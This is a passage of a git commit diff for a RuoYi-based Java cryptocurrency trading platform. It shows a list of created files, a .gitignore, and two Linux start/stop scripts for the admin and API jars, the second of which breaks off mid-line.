ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SettingServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/SmsServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TActivityRechargeServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAgentActivityInfoServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAddressInfoServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppAssetServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppMailServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppRechargeServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserDetailServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppUserServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppWalletRecordServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TAppuserLoginLogServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelInfoServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TBotKlineModelServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCollectionOrderServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractCoinServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractLossServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractOrderServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TContractPositionServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencyOrderServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TCurrencySymbolServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TExchangeCoinRecordServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterInfoServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THelpCenterServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/THomeSetterServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadOrderServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TLoadProductServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMarketsServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineFinancialServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderDayServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineOrderServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMineUserServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingOrderServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TMingProductUserServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftOrderServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftProductServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNftSeriesServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TNoticeServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOptionRulesServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinOrderServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TOwnCoinServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondCoinConfigServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondContractOrderServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSecondPeriodConfigServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSpontaneousCoinServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolManageServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TSymbolsServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserBankServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TUserSymbolAddressServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/TWithdrawServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayOutServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/bussiness/service/impl/UncPayServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/config/KLoader.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/config/SocketThreadPoolTaskConfig.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/config/WebSocketConfig.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/constants/SocketTypeConstants.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/BinanceDTO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/DetailTickBean.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/KlineTickBean.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/MessageVo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/NoticeVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketDto.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/SocketMessageVo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeDataBean.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/TradeTickBean.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsCoinSubVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsSubBO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/dto/WsVO.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/manager/BianaceWebSocketClient.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/manager/WebSocketUserManager.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/service/MarketThread.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadBinanceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadEnergy.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadHuoBiImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMetal.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/service/impl/MarketThreadMt5.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketCoinOver.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketNotice.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketServers.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/socket/socketserver/WebSocketSubCoins.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysCache.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysConfig.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysLogininfor.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysNotice.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysOperLog.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysPost.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleDept.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysRoleMenu.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserOnline.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserPost.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/SysUserRole.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/MetaVo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/domain/vo/RouterVo.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysConfigMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDeptMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictDataMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysDictTypeMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysLogininforMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysMenuMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysNoticeMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysOperLogMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysPostMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleDeptMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysRoleMenuMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserPostMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/mapper/SysUserRoleMapper.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysConfigService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDeptService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictDataService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysDictTypeService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysLogininforService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysMenuService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysNoticeService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysOperLogService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysPostService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysRoleService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysStatisticsService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserOnlineService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/ISysUserService.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysConfigServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDeptServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictDataServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysDictTypeServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysLogininforServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysMenuServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysNoticeServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysOperLogServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysPostServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysRoleServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysStatisticsServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserOnlineServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/telegrambot/MyTelegramBot.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/telegrambot/TelegramBotConfig.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunApi.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/udun/client/UdunClient.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/udun/constant/ApiPath.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/udun/domain/Address.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/udun/domain/Coin.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/udun/domain/ResultMsg.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/udun/domain/Trade.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/udun/exception/UdunException.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/util/BotMessageBuildUtils.java create mode 100644 ruoyi-system/src/main/java/com/ruoyi/util/EmailUtils.java create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/DefiActivityMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/DefiOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/DefiRateMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/KlineSymbolMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TActivityRechargeMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TAgentActivityInfoMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TAppAddressInfoMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TAppAssetMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TAppMailMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TAppRechargeMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TAppUserDetailMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TAppUserMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TAppWalletRecordMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TAppuserLoginLogMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelInfoMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TBotKlineModelMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TCollectionOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TContractCoinMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TContractLossMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TContractOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TContractPositionMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TCurrencyOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TCurrencySymbolMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TDefiOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TExchangeCoinRecordMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterInfoMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/THomeSetterMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TLoadOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TLoadProductMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TMarketsMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TMineFinancialMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderDayMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TMineUserMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TMingOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TMingProductMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TMingProductUserMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TNftOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TNftProductMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TNftSeriesMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TNoticeMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TOptionRulesMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinSubscribeOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TSecondCoinConfigMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TSecondContractOrderMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TSecondPeriodConfigMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TSpontaneousCoinMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TSymbolManageMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TSymbolsMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TUserBankMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TUserCoinMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TUserSymbolAddressMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/bussiness/TWithdrawMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml create mode 100644 ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml create mode 100644 ruoyi-system/src/main/resources/templates/bindCodeEmail.ftl create mode 100644 ruoyi.iml create mode 100644 setting/settings.xml create mode 100644 sql/echo2.sql create mode 100644 部署结构.txt diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..a82c0a6 --- /dev/null +++ b/.gitignore @@ -0,0 +1,29 @@ +# ---> Java +# Compiled class file +*.class + +# Log file +*.log + +# BlueJ files +*.ctxt + +# Mobile Tools for Java (J2ME) +.mtj.tmp/ + +# Package Files # +*.jar +*.war +*.nar +*.ear +*.zip +*.tar.gz +*.rar + +# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml +hs_err_pid* + +.idea/ +.mvn/ +target/ +json/ \ No newline at end of file diff --git a/bin/admin.sh b/bin/admin.sh new file mode 100644 index 0000000..67a1ec1 --- /dev/null +++ b/bin/admin.sh @@ -0,0 +1,153 @@ +#!/bin/sh +# 该脚本为Linux下启动java程序的脚本 +# 特别注意: +# 该脚本使用系统kill命令来强制终止指定的java程序进程。 +# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本, +# 根据实际情况来修改以下配置信息 ################################## +# JAVA应用程序的名称 +APP_NAME=$2'-admin' +# jar包存放路径 +JAR_PATH='/opt/echo2/'$2'/admin' +#更改jar 名称 +mv $JAR_PATH/"echo2-admin.jar" $JAR_PATH/$2"-admin.jar" +# jar包名称 +JAR_NAME=$2"-admin.jar" +# PID 代表是PID文件 +JAR_PID=$JAR_NAME\.pid +# 日志输出文件 +LOG_FILE= + + +# java虚拟机启动参数 +#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些 +XMS="-Xms512m" +#-Xmx: java heap(堆)最大值,使用的最大内存 +XMX="-Xmx1024m" +#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值 +METASPACE_SIZE="-XX:MetaspaceSize=512m" +#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大 +MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=512m" +#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean +PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps" +#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean +PRINTGCDETAILS="-XX:+PrintGCDetails" +#-XX:ParallelGCThreads: CMS/G1通用线程数设置 +PARALLELGCTHREADS="-XX:ParallelGCThreads=10" +#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件, +HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError" +#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下 +HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof" +#-Dfile.encoding: 文件编码 +FILE_ENCODING="-Dfile.encoding=utf-8" +#拼接参数 +JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log" +# 根据实际情况来修改以上配置信息 ################################## +is_exist() { + # 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程 + pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' ` + # [ ]表示条件测试。注意这里的空格很重要。要注意在'['后面和']'前面都必须要有空格 + # [ -z STRING ] 如果STRING的长度为零则返回为真,即空是真 + # 如果不存在返回0,存在返回1 + if [ -z "${pid}" ]; then + return 0 + else + return 1 + fi +} + +# ######### Shell脚本中$0、$?、$!、$$、$*、$#、$@等的说明 ######### +# $$ Shell本身的PID(ProcessID,即脚本运行的当前 进程ID号) +# $! Shell最后运行的后台Process的PID(后台运行的最后一个进程的 进程ID号) +# $? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误) +# $- 显示shell使用的当前选项,与set命令功能相同 +# $* 所有参数列表。如"$*"用「"」括起来的情况、以"$1 $2 … $n"的形式输出所有参数,此选项参数可超过9个。 +# $@ 所有参数列表。如"$@"用「"」括起来的情况、以"$1" "$2" … "$n" 的形式输出所有参数。 +# $# 添加到Shell的参数个数 +# $0 Shell本身的文件名 +# $1~$n 添加到Shell的各参数值。$1是第1参数、$2是第2参数…。 + +# 服务启动方法 +start() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 已经在运行pid是 ${pid}" + else + # jar服务启动脚本 + nohup java $JAVA_OPTS -jar $JAR_PATH/$JAR_NAME --spring.profiles.active=$2 >$JAR_PATH/admin.log 2>&1 & + echo $! > $JAR_PID + echo "启动 $APP_NAME 成功 pid是 $! " + sleep 15 + # 睡眠一会等启动完成后输出启动日志 + cat $JAR_PATH/admin.log + fi +} + +# 服务停止方法 +stop() { + # is_exist + pidf=$(cat $JAR_PID) + # echo "$pidf" + echo "pid = $pidf begin kill $pidf" + kill $pidf + rm -rf $JAR_PID + sleep 2 + # 判断服务进程是否存在 + is_exist + if [ $? -eq "1" ]; then + echo "pid = $pid begin kill -9 $pid" + kill -9 $pid + sleep 2 + echo "$APP_NAME 已停止!" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 服务运行状态查看方法 +status() { + is_exist + if [ $? -eq "1" ]; then + echo "$APP_NAME 正在运行,pid 是 ${pid}" + else + echo "$APP_NAME 没有运行!" + fi +} + +# 重启服务方法 +restart() { + # 调用服务停止命令 + stop + # 调用服务启动命令 + start $1 $2 +} + +# 帮助说明,用于提示输入参数信息 +usage() { + echo "Usage: sh $APP_NAME.sh [ start | stop | restart | status ]" + exit 1 +} + +################################### +# 读取脚本的第一个参数($1),进行判断 +# 参数取值范围:{ start | stop | restart | status } +# 如参数不在指定范围之内,则打印帮助信息 +################################### +#根据输入参数,选择执行对应方法,不输入则执行使用说明 +case "$1" in + 'start') + start $1 $2 + ;; + 'stop') + stop + ;; + 'restart') + restart $1 $2 + ;; + 'status') + status + ;; + *) + usage + ;; +esac +exit 0 diff --git a/bin/api.sh b/bin/api.sh new file mode 100644 index 0000000..82aa7b4 --- /dev/null +++ b/bin/api.sh @@ -0,0 +1,153 @@ +#!/bin/sh +# 该脚本为Linux下启动java程序的脚本 +# 特别注意: +# 该脚本使用系统kill命令来强制终止指定的java程序进程。 +# 所以在杀死进程前,可能会造成数据丢失或数据不完整。如果必须要考虑到这类情况,则需要改写此脚本, +# 根据实际情况来修改以下配置信息 ################################## +# JAVA应用程序的名称 +APP_NAME=$2'-api' +# jar包存放路径 +JAR_PATH='/opt/echo2/'$2'/api' +#更改jar 名称 +mv $JAR_PATH/"echo2-api.jar" $JAR_PATH/$2"-api.jar" +# jar包名称 +JAR_NAME=$2"-api.jar" +# PID 代表是PID文件 +JAR_PID=$JAR_NAME\.pid +# 日志输出文件 +LOG_FILE= + + +# java虚拟机启动参数 +#-Xms:初始Heap(堆)大小,使用的最小内存,cpu性能高时此值应设的大一些 +XMS="-Xms1024m" +#-Xmx: java heap(堆)最大值,使用的最大内存 +XMX="-Xmx2048m" +#-XX:MetaspaceSize:元空间Metaspace扩容时触发FullGC(垃圾回收)的初始化阈值 +METASPACE_SIZE="-XX:MetaspaceSize=1024m" +#-XX:MaxMetaspaceSize: 元空间Metaspace扩容时触发FullGC(垃圾回收)的最大阈值;建议MetaspaceSize和MaxMetaspaceSize设置一样大 +MAX_METASPACE_SIZE="-XX:MaxMetaspaceSize=1024m" +#-XX:+PrintGCDateStamps: GC日志打印时间戳信息,你可以通过-XX:+PrintGCDateStamps开启,或者-XX:-PrintGCDateStamps关闭 取值boolean +PRINTGCDATESTAMPS="-XX:+PrintGCDateStamps" +#-XX:+PrintGCDetails:GC日志打印详细信息,你可以通过-XX:+PrintGCDetails开启,或者-XX:-PrintGCDetails关闭 取值boolean +PRINTGCDETAILS="-XX:+PrintGCDetails" +#-XX:ParallelGCThreads: CMS/G1通用线程数设置 +PARALLELGCTHREADS="-XX:ParallelGCThreads=10" +#-XX:+HeapDumpOnOutOfMemoryError:当JVM发生OOM时,自动生成DUMP文件, +HEAPDUMPONOUTOFMEMORYERROR="-XX:+HeapDumpOnOutOfMemoryError" +#-XX:HeapDumpPath:当JVM发生OOM时,自动生成DUMP文件的保存路径,缺省情况未指定目录时,JVM会创建一个名称为java_pidPID.hprof的堆dump文件在JVM的工作目录下 +HeapDumpPath="-XX:HeapDumpPath=$JAR_PATH/$LOG_FILE/gc/dump/$APP_NAME.hprof" +#-Dfile.encoding: 文件编码 +FILE_ENCODING="-Dfile.encoding=utf-8" +#拼接参数 +JAVA_OPTS="$XMS $XMX $METASPACE_SIZE $MAX_METASPACE_SIZE $PRINTGCDATESTAMPS $HEAPDUMPONOUTOFMEMORYERROR $HeapDumpPath $FILE_ENCODING -Xloggc:$LOG_FILE/gc/gclog.log" +# 根据实际情况来修改以上配置信息 ################################## +is_exist() { + # 查询出应用服务的进程id,grep -v 是反向查询的意思,查找除了grep操作的run.jar的进程之外的所有进程 + pid=`ps -ef|grep $JAR_NAME|grep -v grep|awk '{print $2}' ` + # [ 